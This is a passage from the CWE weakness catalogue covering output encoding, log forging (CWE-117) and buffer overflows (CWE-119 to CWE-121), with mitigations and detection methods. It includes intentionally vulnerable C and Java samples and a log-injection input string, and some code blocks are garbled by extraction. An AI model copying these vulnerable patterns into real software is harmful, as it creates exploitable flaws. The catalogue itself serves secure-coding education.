CVE-2008-5573 | SQL injection via password parameter; a strong password might contain “&”

Potential Mitigations

**Architecture and Design**

**Libraries or Frameworks**
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using the ESAPI Encoding control [R.116.1] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error. Alternately, use built-in functions, but consider using wrappers in case those functions are discovered to have a vulnerability.

**Architecture and Design**

**Parameterization**
If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

For example, stored procedures can enforce database query structure and reduce the likelihood of SQL injection.

**Architecture and Design**

**Implementation**
Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

**Architecture and Design**

In some cases, input validation may be an important strategy when output encoding is not a complete solution. For example, you may be providing the same output that will be processed by multiple consumers that use different encodings or representations. In other cases, you may be required to allow user-supplied input to contain control information, such as limited HTML tags that support formatting in a wiki or bulletin board. When this type of requirement must be met, use an extremely strict whitelist to limit which control sequences can be used. Verify that the resulting syntactic structure is what you expect. Use your normal encoding methods for the remainder of the input.

**Architecture and Design**

Use input validation as a defense-in-depth measure to reduce the likelihood of output encoding errors (see CWE-20).

**Requirements**
Fully specify which encodings are required by components that will be communicating with each other.

**Implementation**

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

</tr>
</tbody>
</table>

Page 221
**Relationship Notes**

This weakness is primary to all weaknesses related to injection (CWE-74) since the inherent nature of injection involves the violation of structured messages.

CWE-116 and CWE-20 have a close association because, depending on the nature of the structured message, proper input validation can indirectly prevent special characters from changing the meaning of a structured message. For example, by validating that a numeric ID field should only contain the 0-9 characters, the programmer effectively prevents injection attacks. However, input validation is not always sufficient, especially when less stringent data types must be supported, such as free-form text. Consider a SQL injection scenario in which a last name is inserted into a query. The name "O'Reilly" would likely pass the validation step since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the 'apos character, which would need to be escaped or otherwise neutralized. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded.

**Research Gaps**

While many published vulnerabilities are related to insufficient output encoding, there is such an emphasis on input validation as a protection mechanism that the underlying causes are rarely described. Within CVE, the focus is primarily on well-understood issues like cross-site scripting and SQL injection. It is likely that this weakness frequently occurs in custom protocols that support multiple encodings, which are not necessarily detectable with automated techniques.

**Theoretical Notes**

This is a data/directive boundary error in which data boundaries are not sufficiently enforced before it is sent to a different control sphere.

### CWE-117: Improper Output Neutralization for Logs

**Weakness ID:** 117  *(Weakness Base)*

**Status:** Draft

**Description**

<table>
<thead>
<tr>
<th>Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>The software does not neutralize or incorrectly neutralizes output that is written to logs.</td>
</tr>
</tbody>
</table>

**Extended Description**

This can allow an attacker to forge log entries or inject malicious content into logs.

Log forging vulnerabilities occur when:

- Data enters an application from an untrusted source.
- The data is written to an application or system log file.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Integrity
- Confidentiality
- Availability
- Non-Repudiation
- Modify application data
- Hide activities

**Execute unauthorized code or commands**

Interpretation of the log files may be hindered or misdirected if an attacker can supply data to the application that is subsequently logged verbatim. In the most benign case, an attacker may be able to insert false entries into the log file by providing the application with input that includes appropriate characters. Forged or otherwise corrupted log files can be used to cover an attacker’s tracks, possibly by skewing statistics, or even to implicate another party in the commission of a malicious act. If the log file is processed automatically, the attacker can render the file unusable by corrupting the format of the file or injecting unexpected characters. An attacker may inject code or other commands into the log file and take advantage of a vulnerability in the log processing utility.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

The following web application code attempts to read an integer value from a request object. If the `parseInt` call fails, then the input is logged with an error message indicating what happened.

**Java Example:**

```java
String val = request.getParameter("val");
```
try {
    int value = Integer.parseInt(val);
}
catch (NumberFormatException) {
    log.info("Failed to parse val = " + val);
}
...

If a user submits the string "twenty-one" for val, the following entry is logged:

INFO: Failed to parse val=twenty-one

However, if an attacker submits the string "twenty-one%0a%0aINFO:+User+logged+out%3dbadguy", the following entry is logged:

INFO: Failed to parse val=twenty-one
INFO: User logged out=badguy

Clearly, attackers can use this same mechanism to insert arbitrary log entries.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4624</td>
<td>Chain: inject fake log entries with fake timestamps using CRLF injection</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

**Implementation**

**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

**Background Details**

Applications typically use log files to store a history of events or transactions for later review, statistics gathering, or debugging. Depending on the nature of the application, the task of reviewing...
log files may be performed manually on an as-needed basis or automated with a tool that automatically culls logs for important events or trending information.

CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Description**

**Summary**

The software performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer.

**Extended Description**

Certain languages allow direct addressing of memory locations and do not automatically ensure that these locations are valid for the memory buffer that is being referenced. This can cause read or write operations to be performed on memory locations that may be associated with other variables, data structures, or internal program data.

As a result, an attacker may be able to execute arbitrary code, alter the intended control flow, read sensitive information, or cause the system to crash.

**Alternate Terms**

Memory Corruption

The generic term "memory corruption" is often used to describe the consequences of writing to memory outside the bounds of a buffer, when the root cause is something other than a sequential copies of excessive data from a fixed starting location (i.e., classic buffer overflows or CWE-120). This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- C (Often)
- C++ (Often)
- Assembly
- Languages without memory management support

**Platform Notes**

**Common Consequences**
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Modify memory
If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow.
If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Availability
Confidentiality
Read memory
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Confidentiality
Read memory
In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Likelihood of Exploit
High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.
Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
   Binary / Bytecode Quality Analysis
   Bytecode Weakness Analysis - including disassembler + source code weakness analysis
   Binary Weakness Analysis - including disassembler + source code weakness analysis
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Fuzz Tester
- Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer
Cost effective for partial coverage:
- Source Code Quality Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:
```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);

    // The following code copies the hostname into the buffer.
    strcpy(hostname, hp->h_name);
    // Further code to use the hostname...
}
```
strcpy(hostname, hp->h_name);
}

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

**Example 2:**
This example applies an encoding procedure to an input string and stores it into a buffer.

**C Example:**

```c
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if (+'&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    } else if ('<' == user_supplied_string[i] ){ /* encode to < */
    } else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

**Example 3:**
The following example asks a user for an offset into an array to select an item.

**C Example:**

```c
int main (int argc, char **argv) {
  char *items[] = {"boat", "car", "truck", "train"};
  int index = GetUntrustedOffset();
  printf("You selected %s\n", items[index-1]);
}
```

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

**Example 4:**
In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

**C Example:**

```c
int getValueFromArray(int *array, int len, int index) {
  int value;
  // check that the array index is less than the maximum
  // length of the array
  if (index < len) {
```
// get the value at the specified index of the array
value = array[index];

// if array index is invalid then output error message
// and return value indicating error
else {
    printf("Value is: \%d\n", array[index]);
    value = -1;
}
return value;

However, this method only verifies that the given array index is less than the maximum length of
the array but does not check for the minimum value (CWE-839). This will allow a negative value
to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and
may allow access to sensitive memory. The input array index should be checked to verify that it
is within the maximum and minimum range required for the array (CWE-129). In this example the if
statement should be modified to include a minimum range check, as shown below.

C Example:

...  
// check that the array index is within the correct
// range of values for the array
if (index >= 0 && index < len) {
...

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language’s interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Architecture and Design

Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.119.3], and the Strsafe.h library from Microsoft [R.119.2]. These libraries provide safer versions of overflow-prone string-handling functions.
This is not a complete solution, since many buffer overflows are not related to strings.

Build and Compilation

Compilation or Build Hardening

Defense in Depth
Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.
For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.
This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Implementation

Consider adhering to the following rules when allocating and managing an application's memory:
Double check that your buffer is as large as you specify.
When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Operation

Environment Hardening

Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a program's executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code.
Examples include Address Space Layout Randomization (ASLR) [R.119.4] [R.119.6] and Position-Independent Executables (PIE) [R.119.10].
This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Operation

Environment Hardening

Defense in Depth
Use a CPU and operating system that offers Data Execution Protection (NX) or its equivalent [R.119.6] [R.119.7].
This is not a complete solution, since buffer overflows could be used to overwrite nearby variables to modify the software's state in dangerous ways. In addition, it cannot be used in cases in which self-modifying code is required. Finally, an attack could still cause a denial of service, since the typical response is to exit the application.
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

**Implementation**

**Moderate**

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

**Notes:**
- CWE Version 2.11
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

Weakness ID: 120 (Weakness Base) Status: Incomplete

Description

Summary

The program copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.

Extended Description

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold, or when a program attempts to put data in a memory area outside of the boundaries of a buffer. The simplest type of error, and the most common cause of buffer overflows, is
the "classic" case in which the program copies the buffer without restricting how much is copied. Other variants exist, but the existence of a classic overflow strongly suggests that the programmer is not considering even the most basic of security protections.

Alternate Terms
buffer overrun
Some prominent vendors and researchers use the term "buffer overrun," but most people use "buffer overflow."

Unbounded Transfer

Terminology Notes
Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
• Assembly

Common Consequences
Integrity
Confidentiality
Availability
Execute unauthorized code or commands
Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. This can often be used to subvert any other security service.

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Likelihood of Exploit
High to Very High

Detection Methods
Automated Static Analysis
High
This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis generally does not account for environmental considerations when reporting out-of-bounds memory operations. This can make it difficult for users to determine which warnings should be investigated first. For example, an analysis tool might report buffer overflows that originate from command line arguments in a program that is not expected to run with setuid or other special privileges.

Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Manual Analysis
Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Fuzz Tester
  - Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Formal Methods / Correct-By-Construction
- Cost effective for partial coverage:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples
Example 1:
The following code asks the user to enter their last name and then attempts to store the value entered in the last_name array.
CWE Version 2.11
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')

**Example 1:**

C Example:
```c
char last_name[20];
printf("Enter your last name: ");
scanf("%s", last_name);
```

The problem with the code above is that it does not restrict or limit the size of the name entered by the user. If the user enters "Very_very_long_last_name" which is 24 characters long, then a buffer overflow will occur since the array can only hold 20 characters total.

**Example 2:**

The following code attempts to create a local copy of a buffer to perform some manipulations to the data.

C Example:
```c
void manipulate_string(char* string){
    char buf[24];
    strcpy(buf, string);
    ... }
```

However, the programmer does not ensure that the size of the data pointed to by string will fit in the local buffer and blindly copies the data with the potentially dangerous `strcpy()` function. This may result in a buffer overflow condition if an attacker can influence the contents of the string parameter.

**Example 3:**

The excerpt below calls the `gets()` function in C, which is inherently unsafe.

C Example:
```c
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
... }
```

However, the programmer uses the function `gets()` which is inherently unsafe because it blindly copies all input from STDIN to the buffer without restricting how much is copied. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

**Example 4:**

In the following example, a server accepts connections from a client and processes the client request. After accepting a client connection, the program will obtain client information using the `gethostbyaddr` method, copy the hostname of the client that connected to a local variable and output the hostname of the client to a log file.

C/C++ Example:
```c
... struct hostent *clienthp;
char hostname[MAX_LEN];
// create server socket, bind to server address and listen on socket
... // accept client connections and process requests
int count = 0;
for (count = 0; count < MAX_CONNECTIONS; count++) {
    int clientlen = sizeof(struct sockaddr_in);
    int clientsocket = accept(serversocket, (struct sockaddr *)&clientaddr, &clientlen);
    if (clientsocket >= 0) {
        clienthp = gethostbyaddr((char*) &clientaddr.sin_addr.s_addr, sizeof(clientaddr.sin_addr.s_addr), AF_INET);
        strcpy(hostname, clienthp->h_name);
        logOutput("Accepted client connection from host ", hostname);
        // process client request
        ... close(clientsocket);
    }
}
close(serversocket);
```
However, the hostname of the client that connected may be longer than the allocated size for the local hostname variable. This will result in a buffer overflow when copying the client hostname to the local variable using the strcpy method.

### Potential Mitigations

#### Requirements

**Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

**Architecture and Design**

**Libraries or Frameworks**

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples include the Safe C String Library (SafeStr) by Messier and Viega [R.120.4], and the Strsafe.h library from Microsoft [R.120.3]. These libraries provide safer versions of overflow-prone string-handling functions.

This is not a complete solution, since many buffer overflows are not related to strings.

**Build and Compilation**

**Compilation or Build Hardening**

**Defense in Depth**

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio / GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

**Implementation**

Consider adhering to the following rules when allocating and managing an application's memory:

- Double check that your buffer is as large as you specify.
- When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.
- Check buffer boundaries if accessing the buffer in a loop and make sure you are not in danger of writing past the allocated space.
- If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.
Implementation
Input Validation
Assume all input is malicious. Use an “accept known good” input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, “boat” may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as “red” or “blue.” Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Operation
Environment Hardening
Defense in Depth
Run or compile the software using features or extensions that randomly arrange the positions of a program’s executable and libraries in memory. Because this makes the addresses unpredictable, it can prevent an attacker from reliably jumping to exploitable code. Examples include Address Space Layout Randomization (ASLR) [R.120.5] [R.120.7] and Position-Independent Executables (PIE) [R.120.14]. This is not a complete solution. However, it forces the attacker to guess an unknown value that changes every program execution. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Build and Compilation
Operation
Most mitigating technologies at the compiler or OS level to date address only a subset of buffer overflow problems and rarely provide complete protection against even that subset. It is good practice to implement strategies to increase the workload of an attacker, such as leaving the attacker to guess an unknown value that changes every program execution.

Implementation
Moderate
Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available. This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).
Architecture and Design
Enforcement by Conversion
When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design
Operation
Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.120.10]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design
Operation
Sandbox or Jail
Limited
Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

White Box Definitions

A weakness where the code path includes a Buffer Write Operation such that:
1. the expected size of the buffer is greater than the actual size of the buffer where expected size is equal to the sum of the size of the data item and the position in the buffer

Where Buffer Write Operation is a statement that writes a data item of a certain size into a buffer at a certain position and at a certain index

References

CWE-121: Stack-based Buffer Overflow

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

Alternate Terms

Stack Overflow

"Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

Time of Introduction

• Architecture and Design
• Implementation

Applicable Platforms

Languages

• C
• C++

Common Consequences

Availability
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)

Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Integrity
Confidentiality
Availability
Access Control
Execute unauthorized code or commands

Likelihood of Exploit
Very High

Demonstrative Examples
Example 1:
While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

C Example:
```c
#include <stdio.h>

int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
    return 0;
}
```
The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

Example 2:
This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example:
```c
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```
This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Potential Mitigations
Build and Compilation

Compilation or Build Hardening

Defense in Depth

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows.

For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice.

This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Build and Compilation

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

Implementation

Implement and perform bounds checking on input.

Implementation

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

Operation

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

Background Details

